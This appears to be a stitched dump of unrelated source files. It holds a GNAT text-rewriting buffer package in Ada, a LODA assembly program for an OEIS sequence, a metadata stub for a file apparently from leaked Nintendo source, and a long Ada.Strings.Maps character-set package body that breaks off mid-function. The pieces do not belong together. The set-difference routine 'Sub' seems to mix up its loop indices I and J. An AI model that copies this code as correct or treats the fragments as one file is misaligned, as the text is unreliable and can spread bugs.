-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Ada.Unchecked_Conversion;
package body GNAT.Rewrite_Data is
use Ada;
subtype SEO is Stream_Element_Offset;
procedure Do_Output
(B : in out Buffer;
Data : Stream_Element_Array;
Output : not null access procedure (Data : Stream_Element_Array));
-- Do the actual output. This ensures that we properly send the data
-- through linked rewrite buffers if any.
------------
-- Create --
------------
function Create
(Pattern, Value : String;
Size : Stream_Element_Offset := 1_024) return Buffer
is
subtype SP is String (1 .. Pattern'Length);
subtype SEAP is Stream_Element_Array (1 .. Pattern'Length);
subtype SV is String (1 .. Value'Length);
subtype SEAV is Stream_Element_Array (1 .. Value'Length);
function To_SEAP is new Unchecked_Conversion (SP, SEAP);
function To_SEAV is new Unchecked_Conversion (SV, SEAV);
begin
-- Return result (can't be smaller than pattern)
return B : Buffer
(SEO'Max (Size, SEO (Pattern'Length)),
SEO (Pattern'Length),
SEO (Value'Length))
do
B.Pattern := To_SEAP (Pattern);
B.Value := To_SEAV (Value);
B.Pos_C := 0;
B.Pos_B := 0;
end return;
end Create;
---------------
-- Do_Output --
---------------
procedure Do_Output
(B : in out Buffer;
Data : Stream_Element_Array;
Output : not null access procedure (Data : Stream_Element_Array))
is
begin
if B.Next = null then
Output (Data);
else
Write (B.Next.all, Data, Output);
end if;
end Do_Output;
-----------
-- Flush --
-----------
procedure Flush
(B : in out Buffer;
Output : not null access procedure (Data : Stream_Element_Array))
is
begin
-- Flush output buffer
if B.Pos_B > 0 then
Do_Output (B, B.Buffer (1 .. B.Pos_B), Output);
end if;
-- Flush current buffer
if B.Pos_C > 0 then
Do_Output (B, B.Current (1 .. B.Pos_C), Output);
end if;
-- Flush linked buffer if any
if B.Next /= null then
Flush (B.Next.all, Output);
end if;
Reset (B);
end Flush;
----------
-- Link --
----------
procedure Link (From : in out Buffer; To : Buffer_Ref) is
begin
From.Next := To;
end Link;
-----------
-- Reset --
-----------
procedure Reset (B : in out Buffer) is
begin
B.Pos_B := 0;
B.Pos_C := 0;
if B.Next /= null then
Reset (B.Next.all);
end if;
end Reset;
-------------
-- Rewrite --
-------------
procedure Rewrite
(B : in out Buffer;
Input : not null access procedure
(Buffer : out Stream_Element_Array;
Last : out Stream_Element_Offset);
Output : not null access procedure (Data : Stream_Element_Array))
is
Buffer : Stream_Element_Array (1 .. B.Size);
Last : Stream_Element_Offset;
begin
Rewrite_All : loop
Input (Buffer, Last);
exit Rewrite_All when Last = 0;
Write (B, Buffer (1 .. Last), Output);
end loop Rewrite_All;
Flush (B, Output);
end Rewrite;
----------
-- Size --
----------
function Size (B : Buffer) return Natural is
begin
return Natural (B.Pos_B + B.Pos_C);
end Size;
-----------
-- Write --
-----------
procedure Write
(B : in out Buffer;
Data : Stream_Element_Array;
Output : not null access procedure (Data : Stream_Element_Array))
is
procedure Need_Space (Size : Stream_Element_Offset);
pragma Inline (Need_Space);
----------------
-- Need_Space --
----------------
procedure Need_Space (Size : Stream_Element_Offset) is
begin
if B.Pos_B + Size > B.Size then
Do_Output (B, B.Buffer (1 .. B.Pos_B), Output);
B.Pos_B := 0;
end if;
end Need_Space;
-- Start of processing for Write
begin
if B.Size_Pattern = 0 then
Do_Output (B, Data, Output);
else
for K in Data'Range loop
if Data (K) = B.Pattern (B.Pos_C + 1) then
-- Store possible start of a match
B.Pos_C := B.Pos_C + 1;
B.Current (B.Pos_C) := Data (K);
else
-- Not part of pattern, if a start of a match was found,
-- remove it.
if B.Pos_C /= 0 then
Need_Space (B.Pos_C);
B.Buffer (B.Pos_B + 1 .. B.Pos_B + B.Pos_C) :=
B.Current (1 .. B.Pos_C);
B.Pos_B := B.Pos_B + B.Pos_C;
B.Pos_C := 0;
end if;
Need_Space (1);
B.Pos_B := B.Pos_B + 1;
B.Buffer (B.Pos_B) := Data (K);
end if;
if B.Pos_C = B.Size_Pattern then
-- The pattern is found
Need_Space (B.Size_Value);
B.Buffer (B.Pos_B + 1 .. B.Pos_B + B.Size_Value) := B.Value;
B.Pos_C := 0;
B.Pos_B := B.Pos_B + B.Size_Value;
end if;
end loop;
end if;
end Write;
end GNAT.Rewrite_Data;
|
oeis/158/A158490.asm | neoneye/loda-programs | 11 | 82758 | <reponame>neoneye/loda-programs
; A158490: 100n^2 - 10.
; 90,390,890,1590,2490,3590,4890,6390,8090,9990,12090,14390,16890,19590,22490,25590,28890,32390,36090,39990,44090,48390,52890,57590,62490,67590,72890,78390,84090,89990,96090,102390,108890,115590,122490,129590,136890,144390,152090,159990,168090,176390,184890,193590,202490,211590,220890,230390,240090,249990,260090,270390,280890,291590,302490,313590,324890,336390,348090,359990,372090,384390,396890,409590,422490,435590,448890,462390,476090,489990,504090,518390,532890,547590,562490,577590,592890
mov $1,2
add $1,$0
mul $1,$0
mul $1,100
add $1,90
mov $0,$1
|
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_mpen.asm | prismotizm/gigaleak | 0 | 4824 | <gh_stars>0
Name: ys_mpen.asm
Type: file
Size: 53113
Last-Modified: '2016-05-13T04:50:34Z'
SHA-1: AFD8809B886FB7B50E1B8CCEC32358A5A02ECB07
Description: null
|
source/strings/a-strmap.adb | ytomino/drake | 33 | 29280 | pragma Check_Policy (Validate => Disable);
-- with Ada.Strings.Naked_Maps.Debug;
with Ada.Unchecked_Conversion;
with Ada.Unchecked_Deallocation;
with System.UTF_Conversions.From_8_To_32;
with System.UTF_Conversions.From_16_To_32;
with System.UTF_Conversions.From_32_To_8;
with System.UTF_Conversions.From_32_To_16;
package body Ada.Strings.Maps is
use type Naked_Maps.Character_Ranges;
-- sets
subtype Nonnull_Set_Data_Access is not null Set_Data_Access;
function Upcast is
new Unchecked_Conversion (
Nonnull_Set_Data_Access,
System.Reference_Counting.Container);
function Downcast is
new Unchecked_Conversion (
System.Reference_Counting.Container,
Nonnull_Set_Data_Access);
type Set_Data_Access_Access is access all Nonnull_Set_Data_Access;
type Container_Access is access all System.Reference_Counting.Container;
function Upcast is
new Unchecked_Conversion (Set_Data_Access_Access, Container_Access);
procedure Free is new Unchecked_Deallocation (Set_Data, Set_Data_Access);
procedure Free_Set_Data (
Data : in out System.Reference_Counting.Data_Access);
procedure Free_Set_Data (
Data : in out System.Reference_Counting.Data_Access)
is
X : Set_Data_Access := Downcast (Data);
begin
Free (X);
Data := null;
end Free_Set_Data;
function Copy_Set_Data (Items : Naked_Maps.Character_Ranges)
return not null Set_Data_Access;
function Copy_Set_Data (Items : Naked_Maps.Character_Ranges)
return not null Set_Data_Access
is
Result : Set_Data_Access;
begin
if Items'Length = 0 then
Result := Empty_Set_Data'Unrestricted_Access;
else
Result := new Set_Data'(
Length => Items'Length,
Reference_Count => 1,
Items => Items);
end if;
return Result;
end Copy_Set_Data;
-- "-" operation
procedure Sub (
Result : in out Naked_Maps.Character_Ranges;
Last : out Natural;
Left, Right : Naked_Maps.Character_Ranges);
procedure Sub (
Result : in out Naked_Maps.Character_Ranges;
Last : out Natural;
Left, Right : Naked_Maps.Character_Ranges)
is
I : Positive := Left'First;
J : Positive := Right'First;
begin
Last := Result'First - 1;
while I <= Left'Last and then J <= Right'Last loop
if Left (I).High < Right (I).Low then
Last := Last + 1;
Result (Last) := Left (I);
I := I + 1;
elsif Left (J).Low > Right (I).High then
J := J + 1;
else
declare
L : Wide_Wide_Character := Left (I).Low;
begin
while L <= Left (I).High and then J <= Right'Last loop
if L < Right (J).Low then
Last := Last + 1;
Result (Last).Low := L;
Result (Last).High :=
Wide_Wide_Character'Pred (Right (J).Low);
end if;
L := Wide_Wide_Character'Succ (Right (J).High);
if Right (J).High <= Left (I).High then
J := J + 1;
end if;
end loop;
if L <= Left (I).High then
Last := Last + 1;
Result (Last).Low := L;
Result (Last).High := Left (I).High;
end if;
I := I + 1;
end;
end if;
end loop;
-- right is over
while I <= Left'Last loop
Last := Last + 1;
Result (Last) := Left (I);
I := I + 1;
end loop;
end Sub;
Full_Set_Data : aliased constant Set_Data := (
Length => 1,
Reference_Count => System.Reference_Counting.Static,
Items => (1 => (Wide_Wide_Character'First, Wide_Wide_Character'Last)));
-- implementation of sets
function Null_Set return Character_Set is
begin
return Create (Empty_Set_Data'Unrestricted_Access);
end Null_Set;
function Is_Null (Set : Character_Set) return Boolean is
begin
return Controlled_Sets.Reference (Set).Length = 0;
end Is_Null;
function Overloaded_To_Set (Ranges : Character_Ranges)
return Character_Set
is
Items : Naked_Maps.Character_Ranges (1 .. Ranges'Length);
Last : Natural := Items'First - 1;
Data : Set_Data_Access;
begin
for I in Ranges'Range loop
declare
E : Character_Range renames Ranges (I);
begin
if E.Low <= E.High then
Naked_Maps.Add (
Items,
Last,
Naked_Maps.To_Wide_Wide_Character (E.Low),
Naked_Maps.To_Wide_Wide_Character (E.High));
end if;
end;
end loop;
Data := Copy_Set_Data (Items (Items'First .. Last));
pragma Check (Validate, Naked_Maps.Debug.Valid (Data.all));
return Create (Data);
end Overloaded_To_Set;
function Overloaded_To_Set (Ranges : Wide_Character_Ranges)
return Character_Set
is
Items : Naked_Maps.Character_Ranges (1 .. Ranges'Length);
Last : Natural := Items'First - 1;
Data : Set_Data_Access;
begin
for I in Ranges'Range loop
declare
E : Wide_Character_Range renames Ranges (I);
begin
if E.Low <= E.High then
Naked_Maps.Add (
Items,
Last,
Naked_Maps.To_Wide_Wide_Character (E.Low),
Naked_Maps.To_Wide_Wide_Character (E.High));
end if;
end;
end loop;
Data := Copy_Set_Data (Items (Items'First .. Last));
pragma Check (Validate, Naked_Maps.Debug.Valid (Data.all));
return Create (Data);
end Overloaded_To_Set;
function Overloaded_To_Set (Ranges : Wide_Wide_Character_Ranges)
return Character_Set
is
Items : Naked_Maps.Character_Ranges (1 .. Ranges'Length);
Last : Natural := Items'First - 1;
Data : Set_Data_Access;
begin
for I in Ranges'Range loop
declare
E : Wide_Wide_Character_Range renames Ranges (I);
begin
if E.Low <= E.High then
Naked_Maps.Add (Items, Last, E.Low, E.High);
end if;
end;
end loop;
Data := Copy_Set_Data (Items (Items'First .. Last));
pragma Check (Validate, Naked_Maps.Debug.Valid (Data.all));
return Create (Data);
end Overloaded_To_Set;
function Overloaded_To_Set (Span : Character_Range)
return Character_Set is
begin
return Overloaded_To_Set (
Wide_Wide_Character_Range'(
Naked_Maps.To_Wide_Wide_Character (Span.Low),
Naked_Maps.To_Wide_Wide_Character (Span.High)));
end Overloaded_To_Set;
function Overloaded_To_Set (Span : Wide_Character_Range)
return Character_Set is
begin
return Overloaded_To_Set (
Wide_Wide_Character_Range'(
Naked_Maps.To_Wide_Wide_Character (Span.Low),
Naked_Maps.To_Wide_Wide_Character (Span.High)));
end Overloaded_To_Set;
function Overloaded_To_Set (Span : Wide_Wide_Character_Range)
return Character_Set
is
Data : Set_Data_Access;
begin
if Span.Low > Span.High then
Data := Empty_Set_Data'Unrestricted_Access;
else
Data := new Set_Data'(
Length => 1,
Reference_Count => 1,
Items => <>);
Data.Items (Data.Items'First).Low := Span.Low;
Data.Items (Data.Items'First).High := Span.High;
end if;
return Create (Data);
end Overloaded_To_Set;
function Overloaded_To_Ranges (Set : Character_Set)
return Character_Ranges
is
Set_Data : constant not null Set_Data_Access :=
Controlled_Sets.Reference (Set);
pragma Check (Validate, Naked_Maps.Debug.Valid (Set_Data.all));
begin
return Result : Character_Ranges (Set_Data.Items'Range) do
for I in Result'Range loop
Result (I).Low :=
Naked_Maps.To_Character (Set_Data.Items (I).Low);
Result (I).High :=
Naked_Maps.To_Character (Set_Data.Items (I).High);
end loop;
end return;
end Overloaded_To_Ranges;
function Overloaded_To_Ranges (Set : Character_Set)
return Wide_Character_Ranges
is
Set_Data : constant not null Set_Data_Access :=
Controlled_Sets.Reference (Set);
pragma Check (Validate, Naked_Maps.Debug.Valid (Set_Data.all));
begin
return Result : Wide_Character_Ranges (Set_Data.Items'Range) do
for I in Result'Range loop
Result (I).Low :=
Naked_Maps.To_Wide_Character (Set_Data.Items (I).Low);
Result (I).High :=
Naked_Maps.To_Wide_Character (Set_Data.Items (I).High);
end loop;
end return;
end Overloaded_To_Ranges;
function Overloaded_To_Ranges (Set : Character_Set)
return Wide_Wide_Character_Ranges
is
Set_Data : constant not null Set_Data_Access :=
Controlled_Sets.Reference (Set);
pragma Check (Validate, Naked_Maps.Debug.Valid (Set_Data.all));
begin
return Result : Wide_Wide_Character_Ranges (Set_Data.Items'Range) do
for I in Result'Range loop
Result (I).Low := Set_Data.Items (I).Low;
Result (I).High := Set_Data.Items (I).High;
end loop;
end return;
end Overloaded_To_Ranges;
overriding function "=" (Left, Right : Character_Set) return Boolean is
Left_Data : constant not null Set_Data_Access :=
Controlled_Sets.Reference (Left);
pragma Check (Validate, Naked_Maps.Debug.Valid (Left_Data.all));
Right_Data : constant not null Set_Data_Access :=
Controlled_Sets.Reference (Right);
pragma Check (Validate, Naked_Maps.Debug.Valid (Right_Data.all));
begin
return Left_Data = Right_Data or else Left_Data.Items = Right_Data.Items;
end "=";
function "not" (Right : Character_Set) return Character_Set is
Right_Data : constant not null Set_Data_Access :=
Controlled_Sets.Reference (Right);
pragma Check (Validate, Naked_Maps.Debug.Valid (Right_Data.all));
Data : Set_Data_Access;
begin
if Right_Data.Length = 0 then
Data := Full_Set_Data'Unrestricted_Access;
else
declare
Items : Naked_Maps.Character_Ranges (
1 ..
Full_Set_Data.Length + Right_Data.Length);
Last : Natural;
begin
Sub (Items, Last, Full_Set_Data.Items, Right_Data.Items);
Data := Copy_Set_Data (Items (Items'First .. Last));
pragma Check (Validate, Naked_Maps.Debug.Valid (Data.all));
end;
end if;
return Create (Data);
end "not";
function "and" (Left, Right : Character_Set)
return Character_Set
is
Left_Data : constant not null Set_Data_Access :=
Controlled_Sets.Reference (Left);
pragma Check (Validate, Naked_Maps.Debug.Valid (Left_Data.all));
Right_Data : constant not null Set_Data_Access :=
Controlled_Sets.Reference (Right);
pragma Check (Validate, Naked_Maps.Debug.Valid (Right_Data.all));
Data : Set_Data_Access;
begin
if Left_Data.Length = 0 or else Right_Data.Length = 0 then
Data := Empty_Set_Data'Unrestricted_Access;
else
declare
Items : Naked_Maps.Character_Ranges (
1 ..
Left_Data.Length + Right_Data.Length);
Last : Natural;
begin
Naked_Maps.Intersection (
Items,
Last,
Left_Data.Items,
Right_Data.Items);
Data := Copy_Set_Data (Items (Items'First .. Last));
pragma Check (Validate, Naked_Maps.Debug.Valid (Data.all));
end;
end if;
return Create (Data);
end "and";
function "or" (Left, Right : Character_Set)
return Character_Set
is
Left_Data : constant not null Set_Data_Access :=
Controlled_Sets.Reference (Left);
pragma Check (Validate, Naked_Maps.Debug.Valid (Left_Data.all));
Right_Data : constant not null Set_Data_Access :=
Controlled_Sets.Reference (Right);
pragma Check (Validate, Naked_Maps.Debug.Valid (Right_Data.all));
Data : Set_Data_Access;
begin
if Left_Data.Length = 0 then
Data := Right_Data;
declare
X : aliased System.Reference_Counting.Container := Upcast (Data);
begin
System.Reference_Counting.Adjust (X'Access);
end;
elsif Right_Data.Length = 0 then
Data := Left_Data;
declare
X : aliased System.Reference_Counting.Container := Upcast (Data);
begin
System.Reference_Counting.Adjust (X'Access);
end;
else
declare
Items : Naked_Maps.Character_Ranges (
1 ..
Left_Data.Length + Right_Data.Length);
Last : Natural;
begin
Naked_Maps.Union (
Items,
Last,
Left_Data.Items,
Right_Data.Items);
Data := Copy_Set_Data (Items (Items'First .. Last)); -- Length > 0
pragma Check (Validate, Naked_Maps.Debug.Valid (Data.all));
end;
end if;
return Create (Data);
end "or";
function "xor" (Left, Right : Character_Set)
return Character_Set
is
Left_Data : constant not null Set_Data_Access :=
Controlled_Sets.Reference (Left);
pragma Check (Validate, Naked_Maps.Debug.Valid (Left_Data.all));
Right_Data : constant not null Set_Data_Access :=
Controlled_Sets.Reference (Right);
pragma Check (Validate, Naked_Maps.Debug.Valid (Right_Data.all));
Data : Set_Data_Access;
begin
if Left_Data.Length = 0 then
Data := Right_Data;
declare
X : aliased System.Reference_Counting.Container := Upcast (Data);
begin
System.Reference_Counting.Adjust (X'Access);
end;
elsif Right_Data.Length = 0 then
Data := Left_Data;
declare
X : aliased System.Reference_Counting.Container := Upcast (Data);
begin
System.Reference_Counting.Adjust (X'Access);
end;
else
declare
Max : constant Natural := Left_Data.Length + Right_Data.Length;
X : Naked_Maps.Character_Ranges (1 .. Max);
X_Last : Natural;
Y : Naked_Maps.Character_Ranges (1 .. Max);
Y_Last : Natural;
Items : Naked_Maps.Character_Ranges (1 .. Max);
Last : Natural;
begin
Naked_Maps.Union (
X,
X_Last,
Left_Data.Items,
Right_Data.Items);
Naked_Maps.Intersection (
Y,
Y_Last,
Left_Data.Items,
Right_Data.Items);
Sub (Items, Last, X (1 .. X_Last), Y (1 .. Y_Last));
Data := Copy_Set_Data (Items (Items'First .. Last));
pragma Check (Validate, Naked_Maps.Debug.Valid (Data.all));
end;
end if;
return Create (Data);
end "xor";
function "-" (Left, Right : Character_Set)
return Character_Set
is
Left_Data : constant not null Set_Data_Access :=
Controlled_Sets.Reference (Left);
pragma Check (Validate, Naked_Maps.Debug.Valid (Left_Data.all));
Right_Data : constant not null Set_Data_Access :=
Controlled_Sets.Reference (Right);
pragma Check (Validate, Naked_Maps.Debug.Valid (Right_Data.all));
Data : Set_Data_Access;
begin
if Left_Data.Length = 0 then
Data := Empty_Set_Data'Unrestricted_Access;
elsif Right_Data.Length = 0 then
Data := Left_Data;
declare
X : aliased System.Reference_Counting.Container := Upcast (Data);
begin
System.Reference_Counting.Adjust (X'Access);
end;
else
declare
Items : Naked_Maps.Character_Ranges (
1 ..
Left_Data.Length + Right_Data.Length);
Last : Natural;
begin
Sub (Items, Last, Left_Data.Items, Right_Data.Items);
Data := Copy_Set_Data (Items (Items'First .. Last));
pragma Check (Validate, Naked_Maps.Debug.Valid (Data.all));
end;
end if;
return Create (Data);
end "-";
function Overloaded_Is_In (
Element : Character;
Set : Character_Set)
return Boolean is
begin
return Overloaded_Is_In (
Naked_Maps.To_Wide_Wide_Character (Element),
Set);
end Overloaded_Is_In;
function Overloaded_Is_In (
Element : Wide_Character;
Set : Character_Set)
return Boolean is
begin
return Overloaded_Is_In (
Naked_Maps.To_Wide_Wide_Character (Element),
Set);
end Overloaded_Is_In;
function Overloaded_Is_In (
Element : Wide_Wide_Character;
Set : Character_Set)
return Boolean
is
Set_Data : constant not null Set_Data_Access :=
Controlled_Sets.Reference (Set);
pragma Check (Validate, Naked_Maps.Debug.Valid (Set_Data.all));
begin
return Naked_Maps.Is_In (Element, Set_Data.all);
end Overloaded_Is_In;
function Is_Subset (Elements : Character_Set; Set : Character_Set)
return Boolean
is
Elements_Data : constant not null Set_Data_Access :=
Controlled_Sets.Reference (Elements);
pragma Check (Validate, Naked_Maps.Debug.Valid (Elements_Data.all));
Set_Data : constant not null Set_Data_Access :=
Controlled_Sets.Reference (Set);
pragma Check (Validate, Naked_Maps.Debug.Valid (Set_Data.all));
begin
if Set_Data.Length = 0 then
return False;
else
declare
J : Positive := Set_Data.Items'First;
begin
for I in Elements_Data.Items'Range loop
declare
E : Naked_Maps.Character_Range
renames Elements_Data.Items (I);
begin
loop
if E.Low < Set_Data.Items (J).Low then
return False;
elsif E.High > Set_Data.Items (J).High then
J := J + 1;
if J > Set_Data.Items'Last then
return False;
end if;
else
exit; -- ok for E
end if;
end loop;
end;
end loop;
return True;
end;
end if;
end Is_Subset;
function Overloaded_To_Set (Sequence : Character_Sequence)
return Character_Set
is
-- Should it raise Constraint_Error for illegal sequence ?
U_Sequence : Wide_Wide_Character_Sequence (
1 .. System.UTF_Conversions.Expanding_From_8_To_32 * Sequence'Length);
U_Sequence_Last : Natural;
begin
System.UTF_Conversions.From_8_To_32.Convert (
Sequence,
U_Sequence,
U_Sequence_Last,
Substitute => "");
return Overloaded_To_Set (U_Sequence (1 .. U_Sequence_Last));
end Overloaded_To_Set;
function Overloaded_To_Set (Sequence : Wide_Character_Sequence)
return Character_Set
is
-- Should it raise Constraint_Error for illegal sequence ?
U_Sequence : Wide_Wide_Character_Sequence (
1 .. System.UTF_Conversions.Expanding_From_16_To_32 * Sequence'Length);
U_Sequence_Last : Natural;
begin
System.UTF_Conversions.From_16_To_32.Convert (
Sequence,
U_Sequence,
U_Sequence_Last,
Substitute => "");
return Overloaded_To_Set (U_Sequence (1 .. U_Sequence_Last));
end Overloaded_To_Set;
function Overloaded_To_Set (Sequence : Wide_Wide_Character_Sequence)
return Character_Set
is
Items : Naked_Maps.Character_Ranges (Sequence'Range);
Last : Natural := Items'First - 1;
Data : Set_Data_Access;
begin
-- it should be more optimized...
for I in Sequence'Range loop
declare
E : Wide_Wide_Character renames Sequence (I);
begin
Naked_Maps.Add (Items, Last, E, E);
end;
end loop;
Data := Copy_Set_Data (Items (Items'First .. Last));
pragma Check (Validate, Naked_Maps.Debug.Valid (Data.all));
return Create (Data);
end Overloaded_To_Set;
function Overloaded_To_Set (Singleton : Character)
return Character_Set is
begin
return Overloaded_To_Set (Naked_Maps.To_Wide_Wide_Character (Singleton));
end Overloaded_To_Set;
function Overloaded_To_Set (Singleton : Wide_Character)
return Character_Set is
begin
return Overloaded_To_Set (Naked_Maps.To_Wide_Wide_Character (Singleton));
end Overloaded_To_Set;
function Overloaded_To_Set (Singleton : Wide_Wide_Character)
return Character_Set is
begin
return Create (
new Set_Data'(
Length => 1,
Reference_Count => 1,
Items => (1 => (Singleton, Singleton))));
end Overloaded_To_Set;
function Overloaded_To_Sequence (Set : Character_Set)
return Character_Sequence is
begin
-- Should it raise Constraint_Error for illegal sequence ?
return System.UTF_Conversions.From_32_To_8.Convert (
Overloaded_To_Sequence (Set),
Substitute => "");
end Overloaded_To_Sequence;
function Overloaded_To_Sequence (Set : Character_Set)
return Wide_Character_Sequence is
begin
-- Should it raise Constraint_Error for illegal sequence or unmappable ?
return System.UTF_Conversions.From_32_To_16.Convert (
Overloaded_To_Sequence (Set),
Substitute => "");
end Overloaded_To_Sequence;
function Overloaded_To_Sequence (Set : Character_Set)
return Wide_Wide_Character_Sequence
is
Set_Data : constant not null Set_Data_Access :=
Controlled_Sets.Reference (Set);
pragma Check (Validate, Naked_Maps.Debug.Valid (Set_Data.all));
Length : Natural := 0;
begin
for I in Set_Data.Items'Range loop
Length := Length
+ (
Wide_Wide_Character'Pos (Set_Data.Items (I).High)
- Wide_Wide_Character'Pos (Set_Data.Items (I).Low)
+ 1);
end loop;
return Result : Wide_Wide_String (1 .. Length) do
declare
Last : Natural := 0;
begin
for I in Set_Data.Items'Range loop
for J in Set_Data.Items (I).Low .. Set_Data.Items (I).High loop
Last := Last + 1;
Result (Last) := J;
end loop;
end loop;
end;
end return;
end Overloaded_To_Sequence;
package body Controlled_Sets is
function Create (Data : not null Set_Data_Access)
return Character_Set is
begin
return (Finalization.Controlled with Data => Data);
end Create;
function Reference (Object : Maps.Character_Set)
return not null Set_Data_Access is
begin
return Character_Set (Object).Data;
end Reference;
overriding procedure Adjust (Object : in out Character_Set) is
begin
System.Reference_Counting.Adjust (
Upcast (Object.Data'Unchecked_Access));
end Adjust;
overriding procedure Finalize (Object : in out Character_Set) is
begin
System.Reference_Counting.Clear (
Upcast (Object.Data'Unchecked_Access),
Free => Free_Set_Data'Access);
end Finalize;
package body Streaming is
procedure Read (
Stream : not null access Streams.Root_Stream_Type'Class;
Item : out Character_Set)
is
Length : Integer;
begin
Integer'Read (Stream, Length);
Finalize (Item);
Item.Data := Empty_Set_Data'Unrestricted_Access;
if Length > 0 then
Item.Data := new Set_Data'(
Length => Length,
Reference_Count => 1,
Items => <>);
Naked_Maps.Character_Ranges'Read (Stream, Item.Data.Items);
pragma Check (Validate, Naked_Maps.Debug.Valid (Item.Data.all));
end if;
end Read;
procedure Write (
Stream : not null access Streams.Root_Stream_Type'Class;
Item : Character_Set)
is
pragma Check (Validate, Naked_Maps.Debug.Valid (Item.Data.all));
Data : constant not null Set_Data_Access := Item.Data;
begin
Integer'Write (Stream, Data.Length);
Naked_Maps.Character_Ranges'Write (Stream, Data.Items);
end Write;
end Streaming;
end Controlled_Sets;
-- maps
subtype Nonnull_Map_Data_Access is not null Map_Data_Access;
function Downcast is
new Unchecked_Conversion (
System.Reference_Counting.Container,
Nonnull_Map_Data_Access);
type Map_Data_Access_Access is access all Nonnull_Map_Data_Access;
function Upcast is
new Unchecked_Conversion (Map_Data_Access_Access, Container_Access);
procedure Free is new Unchecked_Deallocation (Map_Data, Map_Data_Access);
procedure Free_Map_Data (
Data : in out System.Reference_Counting.Data_Access);
procedure Free_Map_Data (
Data : in out System.Reference_Counting.Data_Access)
is
X : Map_Data_Access := Downcast (Data);
begin
Free (X);
Data := null;
end Free_Map_Data;
-- implementation of maps
function Overloaded_Value (
Map : Character_Mapping;
Element : Character)
return Character is
begin
return Naked_Maps.To_Character (
Overloaded_Value (Map, Naked_Maps.To_Wide_Wide_Character (Element)));
end Overloaded_Value;
function Overloaded_Value (
Map : Character_Mapping;
Element : Wide_Character)
return Wide_Character is
begin
return Naked_Maps.To_Wide_Character (
Overloaded_Value (Map, Naked_Maps.To_Wide_Wide_Character (Element)));
end Overloaded_Value;
function Overloaded_Value (
Map : Character_Mapping;
Element : Wide_Wide_Character)
return Wide_Wide_Character
is
Map_Data : constant not null Map_Data_Access :=
Controlled_Maps.Reference (Map);
pragma Check (Validate, Naked_Maps.Debug.Valid (Map_Data.all));
begin
return Naked_Maps.Value (Map_Data.all, Element);
end Overloaded_Value;
function Identity return Character_Mapping is
begin
return Create (Empty_Map_Data'Unrestricted_Access);
end Identity;
function Is_Identity (Map : Character_Mapping) return Boolean is
Map_Data : constant not null Map_Data_Access :=
Controlled_Maps.Reference (Map);
pragma Check (Validate, Naked_Maps.Debug.Valid (Map_Data.all));
begin
return Map_Data.Length = 0;
end Is_Identity;
function Overloaded_To_Mapping (From, To : Character_Sequence)
return Character_Mapping
is
-- Should it raise Constraint_Error for illegal sequence ?
U_From : Wide_Wide_Character_Sequence (
1 .. System.UTF_Conversions.Expanding_From_8_To_32 * From'Length);
U_From_Last : Natural;
U_To : Wide_Wide_Character_Sequence (
1 .. System.UTF_Conversions.Expanding_From_8_To_32 * To'Length);
U_To_Last : Natural;
begin
System.UTF_Conversions.From_8_To_32.Convert (From, U_From, U_From_Last,
Substitute => "");
System.UTF_Conversions.From_8_To_32.Convert (To, U_To, U_To_Last,
Substitute => "");
return Overloaded_To_Mapping (
From => U_From (1 .. U_From_Last),
To => U_To (1 .. U_To_Last));
end Overloaded_To_Mapping;
function Overloaded_To_Mapping (From, To : Wide_Character_Sequence)
return Character_Mapping
is
-- Should it raise Constraint_Error for illegal sequence ?
U_From : Wide_Wide_Character_Sequence (
1 .. System.UTF_Conversions.Expanding_From_16_To_32 * From'Length);
U_From_Last : Natural;
U_To : Wide_Wide_Character_Sequence (
1 .. System.UTF_Conversions.Expanding_From_16_To_32 * To'Length);
U_To_Last : Natural;
begin
System.UTF_Conversions.From_16_To_32.Convert (From, U_From, U_From_Last,
Substitute => "");
System.UTF_Conversions.From_16_To_32.Convert (To, U_To, U_To_Last,
Substitute => "");
return Overloaded_To_Mapping (
From => U_From (1 .. U_From_Last),
To => U_To (1 .. U_To_Last));
end Overloaded_To_Mapping;
function Overloaded_To_Mapping (From, To : Wide_Wide_Character_Sequence)
return Character_Mapping
is
Sorted_From, Sorted_To : Wide_Wide_Character_Sequence (1 .. From'Length);
Sorted_Last : Natural;
New_Data : Map_Data_Access;
begin
Naked_Maps.To_Mapping (
From => From,
To => To,
Out_From => Sorted_From,
Out_To => Sorted_To,
Out_Last => Sorted_Last);
if Sorted_Last = 0 then
New_Data := Empty_Map_Data'Unrestricted_Access;
else
New_Data := new Map_Data'(
Length => Sorted_Last,
Reference_Count => 1,
From => Sorted_From (1 .. Sorted_Last),
To => Sorted_To (1 .. Sorted_Last));
end if;
pragma Check (Validate, Naked_Maps.Debug.Valid (New_Data.all));
return Create (New_Data);
end Overloaded_To_Mapping;
function Overloaded_To_Domain (Map : Character_Mapping)
return Character_Sequence is
begin
-- Should it raise Constraint_Error for illegal sequence ?
return System.UTF_Conversions.From_32_To_8.Convert (
Overloaded_To_Domain (Map),
Substitute => "");
end Overloaded_To_Domain;
function Overloaded_To_Domain (Map : Character_Mapping)
return Wide_Character_Sequence is
begin
-- Should it raise Constraint_Error for illegal sequence or unmappable ?
return System.UTF_Conversions.From_32_To_16.Convert (
Overloaded_To_Domain (Map),
Substitute => "");
end Overloaded_To_Domain;
function Overloaded_To_Domain (Map : Character_Mapping)
return Wide_Wide_Character_Sequence
is
Map_Data : constant not null Map_Data_Access :=
Controlled_Maps.Reference (Map);
pragma Check (Validate, Naked_Maps.Debug.Valid (Map_Data.all));
begin
return Map_Data.From;
end Overloaded_To_Domain;
function Overloaded_To_Range (Map : Character_Mapping)
return Character_Sequence is
begin
-- Should it raise Constraint_Error for illegal sequence ?
return System.UTF_Conversions.From_32_To_8.Convert (
Overloaded_To_Range (Map),
Substitute => "");
end Overloaded_To_Range;
function Overloaded_To_Range (Map : Character_Mapping)
return Wide_Character_Sequence is
begin
-- Should it raise Constraint_Error for illegal sequence or unmappable ?
return System.UTF_Conversions.From_32_To_16.Convert (
Overloaded_To_Range (Map),
Substitute => "");
end Overloaded_To_Range;
function Overloaded_To_Range (Map : Character_Mapping)
